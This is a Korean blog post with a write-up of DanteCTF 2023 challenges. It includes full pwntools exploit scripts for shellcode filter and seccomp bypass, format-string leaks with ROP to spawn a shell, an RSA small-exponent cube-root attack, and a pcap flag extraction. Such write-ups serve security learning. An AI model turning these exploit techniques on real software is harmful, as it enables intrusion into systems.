Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[DanteCTF 2023] Write up 본문

Hack/CTF

[DanteCTF 2023] Write up

CIDY 2023. 6. 5. 13:40

이번 주말에 간단하게 했던 CTF다. 시험공부하다가 머리식히는 용으로 해서 막 본격적으로는 못했다.

 

pwn말고도 크립토 포렌식 (엄청쉬운거였지만) 하나씩 더 풀었다. 커널문제 하나 빼고 포넙 셋다 솔브했는데 두번째문제가 리모트에서 타임아웃 + 로되리안 이슈로 말을 안 들어서 (게다가 준 도커파일도 안 돌아감..) 시험공부가 우선이라고 생각해서 접었다.

 

 

Soulcode


mitigation

간단한 쉘코딩 문제였다. seccomp이랑 자체 syscall명령어 필터링이 걸려있었는데 우회는 간단했다.

 

이유는 모르겠는데 메인함수만 디컴파일이 안 돼서 그냥 어셈으로 봤다. 대충 쉘코드 받고 실행시켜주는 내용이다. 그런데 filter랑 install_syscall_filter가 눈에 띈다. 

 

filter함수는 이렇게 생겼다. 블랙리스트는 \xcd \x80 \x0f \x05으로, 각각 32비트와 64비트 syscall이다. 입력한 쉘코드를 문자열로 봤을 때 위 네 바이트 중 하나라도 있으면 터뜨린다.

 

install_syscall_filter는 seccomp인거같아서 툴로 봤다.

대충 orw를 하라는 뜻이다.

 

우회는 간단하다. seccomp이야 orw로 쓰면 되는 일이고, syscall못쓰는건 strpbrk함수를 이용해서 하니까 중간에 널바이트좀 끼워주면 된다.

 

즉, 점프 명령어 + 널바이트 몇개 + orw쉘코드 이렇게 삽입해주면 된다는 뜻.

 

from pwn import *

context.arch = "amd64"

p = remote("challs.dantectf.it", 31532)
#p = process("./soulcode")

jmpsc = asm("""
    add rdx, 0x50
    jmp rdx
""")

realsc = asm(shellcraft.open("/flag.txt"))
realsc += asm(shellcraft.read('rax', 'rsp', 0x50))
realsc += asm(shellcraft.write(1, 'rsp', 0x50))

print(realsc)

sc = jmpsc + b"\x00" * (0x50 - len(jmpsc)) + realsc

pause()
p.sendline(sc)

p.interactive()

 

flag

 

Sentence to Hell


mitigation

음 결국 플래그는 못 땄는데 로컬에서 풀었으니 그냥 풀었다고 정신승리하기로 했다.

코드는 간단하다. fsb기회를 주고 딱 한번 원하는 주소에 대해 overwrite기회를 준다.

 

난 이 문제가 왜 솔브가 많은지 모르겠다. 내가 모르는 쉬운 인텐이 있나? 싶었는데 아무리 생각해도 없다. --> 나중에보니까 원가젯 인텐이 맞았다. 근데 립씨가 2.35여서 안됐던거였다... 도커만 돌아갔어도...

 

1. 원가젯 이용

우선 립씨 버전이 높아서(22.04이다) 원가젯 컨디션이 매우 까다롭다. -l1옵션으로 립씨바꿔가며 50개 이상의 원가젯을 ret주소에 박아 시도해 보았는데 먹히는게 하나도 없었다.

 

2. libc got overwrite

바이너리의 got는 full relro라서 overwrite가 불가하다. 대신 libc의 경우 partial relro이기 때문에 ABS@got.plt라는 곳을 덮을 수 있고, 해당 got영역은 puts호출 시 참조된다. 그래서 난 처음에 이 영역을 원가젯으로 덮는게 인텐인줄알았다. 당연히 여기서도 먹히는 원가젯 하나도 없어서 실패. 그리고 printf에서도 어떻게 잘 하면 puts와 유사하게 ABS@got.plt호출이 되는데 여기서는 안 됐다.

 

3. return to main

main을 여러번 돌면서 원하는 곳을 덮을 수 있지 않냐? 하는데, 우선 ret주소를 그냥 main의 시작 주소로 덮으면 call main이 아니라 ret주소가 박히는 과정이 없으므로 스택이 8늘어나게 된다. 즉 align이 안 맞아서 그 상태로 printf등의 함수를 수행하면 프로그램이 터진다. 하지만 그대신 main + 5코드로 뛰어서 sfp세팅 과정(push rbp)을 없애 align을 맞출수는 있다. 그런데 이는 ret과 sfp가 없는 것이므로 main + 5를 호출할 때 마다 스택은 0x10씩 늘어난다. 즉 align은 맞지만 main을 돌기 위해서는 매번 바뀌는 ret부분을 main + 5로 바꾸어 주어야 하고, 그럼 main을 계속해서 돌 수는 있지만 정작 내가 원하는 부분을 덮지는 못한다.

 

4. fsb활용

3번에서 설명했듯이 main자체는 무한반복(스택 용량 안에서)이 가능하고, 따라서 fsb기회도 여러번 있다. 하지만 그 크기가 매우 작다. fgets로 12바이트 입력받으니까 사실상 11바이트의 입력이 가능한건데, 이걸로는 값을 유의미하게 조작하기가 너무 힘들다.

 

하지만 이걸 딱 한번 우회할 수 있다.

 

바로 스택에 _start함수의 시작 주소가 있기 때문이다. 

이건 내가 여러 번 main을 반복해서 스택을 많이 내려놓은 모습이다. 내가 표시한 부분이 _start의 주소인데, 마침 딱 바로 ret주소로 활용할 수 있는 위치(오른쪽)에 있다. 따라서 main을 여러번 반복하면서 스택을 내리다가 딱 위 상태가 되었을 때에는 ret주소를 main + 5로 덮지 않고 스택에 원하는 값을 남길 수 있게 된다.

 

이 기회를 매우 잘 활용해야 하는데, 나는 이때 스택에 system함수의 주소를 남겼다. 그럼 /bin/sh문자열은 어떻게 할 것인가? 에 대한 문제가 남았다.

 

우선 위 사진에서 주황색 글씨로 조작함 이라고 되어있는 부분은 위 상황 이전에 fsb를 통해 하위 1바이트만 sh가 적힐 문자열의 주소로 미리 조작해주었다. ("%{low}c%8$n", low는 릭한 스택 주소로 계산하면 된다.)

 

그리고 위 상황에서 fsb를 통해 sh문자열을 직접 만들건데, "%{0x6378}c%8$n" 하면 딱 11자리로 아슬하게 fsb를 성공시킬 수 있다.

 

그리고 system의 주소는 조작된 주소 + 0x10에 박아두고, 스택을 쭉 내린 다음 pop rdi, pop X, ret으로 system을 수행하면 된다. (pop을 하나 더 끼워준데에는 이런저런 이유가 있는데, 어차피 system함수 내부에서 align으로 터지지 않으려면 system을 저기서 수행하는게 맞다.)

 

from pwn import *

#p = remote("challs.dantectf.it", 31531)
p = process("./sentence")
#e = ELF("./sentence")
#libc = e.libc

p.sendlineafter("Please, tell me your name: ", "%13$p%15$p")
p.recvuntil(b"Hi, ")

main = int(p.recvn(14), 16) #- 0x1229
rsp = int(p.recvn(14), 16) - 0x138

p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + 0x28).encode())

p.sendlineafter("Please, tell me your name: ", "%19$p")
p.recvuntil(b"Hi, ")

libc_base = int(p.recvn(14), 16) - 0x26f040 #0x29d90
system = libc_base + 0x50d60
sh = 0x6873

mov_eax_0x3b_syscall = libc_base + 0xeb0f4
pop_rdi_pop_rbp = libc_base + 0x2a745

p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + 0x38).encode())

offset = 0x48
for i in range(11):
    p.sendlineafter("Please, tell me your name: ", "cidy")
    p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
    p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
    offset = offset + 0x10

p.sendlineafter("Please, tell me your name: ", "cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(system).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset + 0x8).encode())

offset = -0x8
low = (rsp + 0x108) & 0xff
p.sendlineafter("Please, tell me your name: ", f"%{low}c%8$hhn".encode())
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10

for i in range(4):
    p.sendlineafter("Please, tell me your name: ", "cidy")
    p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
    p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
    offset = offset + 0x10

pause()
p.sendlineafter("Please, tell me your name: ", f"%{sh}c%8$n".encode())
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10

for i in range(9):
    print(i)
    p.sendlineafter("Please, tell me your name: ", "cidy")
    p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
    p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
    offset = offset + 0x10

p.sendlineafter("Please, tell me your name: ", f"cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(pop_rdi_pop_rbp).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())

p.interactive()

 

get shell

그래서 쉘은 땄는데 리모트에서 안된다. 처음에는 타임아웃나서 sendlineafter를 sendline으로 몇 개 바꿔서 시간안에 세이프했는데도 안 된다.. 이것저것 테스트 해봤을 때 abs got(이전에 떠올렸던 아이디어)나 system등 중요한 offset들은 맞는데 가젯 offset이 안 맞는 것 같기도 하다. 만약 스택에 있는 이런저런 값들의 컨디션이 안 맞는다면 fsb에서 터지거나, 안 맞아도 적어도 system은 수행되면서 그런 명령어가 없다는 오류가 떠야 하는데, 그런게 안 떠서 뭐가 문제인지 모르겠다. libc databse에서 2.34립씨 몇개를 가져다가 가젯 오프셋 바꿔봤는데 안 바뀌어서 그냥 포기했다. 아무튼 풀긴함~

 

 

Dante`s Notebook


난 이게 왜 솔브가 Sentence to hell보다 더 없는지 이해가 안된다.

mitigation

main함수이다. action에 함수 포인터 저장해놓고 이것저것 수행한다. malloc이랑 free있길래 힙인가 싶어 설렜는데 결국 힙은 아니었다. 

 

add, remove, edit, view.. 전형적인 힙 문제의 구조였는데 암튼 힙이 아니다.

 

일단 첫번째 취약점. src는 rbp - 0x30인데 add할때 0x60만큼 입력받아서 rop가 가능하다.

 

두번째는 view할때 fsb터진다. 

 

종합하면, fsb로 립씨주소, 카나리 릭하고 add에서 rop하면된다. 이때 11바이트 적고 널을 깔아야함을 유의하자.

 

from pwn import *

def add(idx, name, circle, date):
    p.sendafter("> ", str(1).encode())
    p.sendafter("Notebook position [1-5]: ", str(idx).encode())
    p.sendafter("Soul name: ", name)
    p.sendafter("Circle where I found him/her [1-9]: ", str(circle).encode())
    p.sendafter("When I met him/her [dd/Mon/YYYY]: ", date) #read_string overflow

def rem(idx):
    p.sendafter("> ", str(2).encode())
    p.sendafter("Notebook position [1-5]: ", str(idx).encode())

def edit(idx, name, circle, date):
    p.sendafter("> ", str(3).encode())
    p.sendafter("Notebook position [1-5]: ", str(idx).encode())
    p.sendafter("Soul name: ", name)
    p.sendafter("Circle where I found him/her [1-9]: ", str(circle).encode())
    p.sendafter("When I met him/her [dd/Mon/YYYY]: ", date) #strncpy overflow?


def view(idx):
    p.sendafter("> ", str(4).encode())
    p.sendafter("Notebook position [1-5]: ", str(idx).encode())


p = remote("challs.dantectf.it", 31530)
#p = process("./notebook")
e = ELF("./notebook")
libc = e.libc

add(1, "cidy", 1, "%9$p%15$pAA")
view(1)
p.recvuntil(b"0x")
canary = int(p.recvuntil(b"0x")[:-2], 16)
print(hex(canary))
libc_base = int(p.recvuntil(b"A")[:-1], 16) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym['system']
pop_rdi = libc_base + 0x2a3e5
ret = pop_rdi + 1

pay = b""
pay += b"A" * 11 + b"\x00"
pay += b"A" * (0x28 - 12) + p64(canary) + b"A" * 0x8
pay += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)

add(2, "cidy", 1, pay)


p.interactive()

flag

 

Small Inscription


간단한 rsa낮은 지수 공격이었다. 암호는 손 안대는데 솔브가 많아서 봤는데 완전 쉬운 문제였다.

#!/usr/bin/env python3

from Crypto.Util.number import bytes_to_long, getPrime
from secret import FLAG

assert len(FLAG) < 30

if __name__ == '__main__':

    msg = bytes_to_long(
        b'There is something reeeally important you should know, the flag is '+FLAG)
    N = getPrime(1024)*getPrime(1024)
    e = 3

    ct = pow(msg, e, N)
    print(f'{ct=}')
    print(f'{N=}')

그냥 세제곱근 구해보고 안되면 N몇번 더하면 될듯하다.

 

C=747861028284745583986165203504322648396510749839398405070811323707600711491863944680330526354962376022146478962637944671170833980881833864618493670661754856280282476606632288562133960228178540799118953209069757642578754327847269832940273765635707176669208611276095564465950147643941533690293945372328223742576232667549253123094054598941291288949397775419176103429124455420699502573739842580940268711628697334920678442711510187864949808113210697096786732976916002133678253353848775265650016864896187184151924272716863071499925744529203583206734774883138969347565787210674308042083803787880001925683349235960512445949
N=20948184905072216948549865445605798631663501453911333956435737119029531982149517142273321144075961800694876109056203145122426451759388059831044529163118093342195028080582365702020138256379699270302368673086923715628087508705525518656689253472590622223905341942685751355443776992006890500774938631896675247850244098414397183590972496171655304801215957299268404242039713841456437577844606152809639584428764129318729971500384064454823140992681760685982999247885351122505154646928804561614506313946302901152432476414517575301827992421830229939161942896560958118364164451179787855749084154517490249401036072261469298158281

from Crypto.Util.number import *
from gmpy2 import *



for i in range(10000):
    m = iroot(C, 3)[0]
    if(b"There" in long_to_bytes(m)):
        print(long_to_bytes(m))
        break
    else:
        C = C + N

생각보다 N을 많이 더해야 했다.

 

flag

 

Who Can Haz Flag


pcapng파일이 하나 주어진다. 네트워크 포렌식 문제였다. 

wireshark로 열었는데 네트워크 포렌식 문제치고 패킷이 800개밖에 없어서 놀랐다. 800개정도면 그냥 하나하나 다 열어봐도 될 정도다. (이때까지 본 pcap파일들은 모두 기본적으로 패킷이 몇만개였는데..) 

 

크기가 너무 작아서 그런지 파일 추출을 해봐도 딱히 나오는 게 없어서 패킷을 직접 열어보기 시작했다.

누가봐도 수상해보이는 Who has... 라는 이름의 패킷들이 여러 개 있었다. 그 패킷들에서 flg 뒤에 한 글자씩 나오는거(위 사진의 경우 N)를 모으면 플래그를 구할 수 있었다.

 

flag: DANTE{wh0_h4s_fl4g_ju5t_45k}

 

 

후기: 문제들을 보면 수준이 썩 괜찮은 ctf같아 보이진 않는데 내가 아직 공부를 덜한 커널 문제와 로되리안 극복 이슈로 실질적인 솔브는 적었다. 앞으로 공부 더 많이 해야겠다.

'Hack > CTF' 카테고리의 다른 글

[QWB CTF 2018] core  (0) 2023.07.26
[zer0pts CTF 2023] Himitsu Note  (0) 2023.07.22
[DEFCON CTF 2023 Qualifier] Open House(작성중)  (0) 2023.06.02
[TAMU CTF 2023] Write up  (2) 2023.05.08
[Midnight Sun CTF 2023] MemeControl  (0) 2023.04.09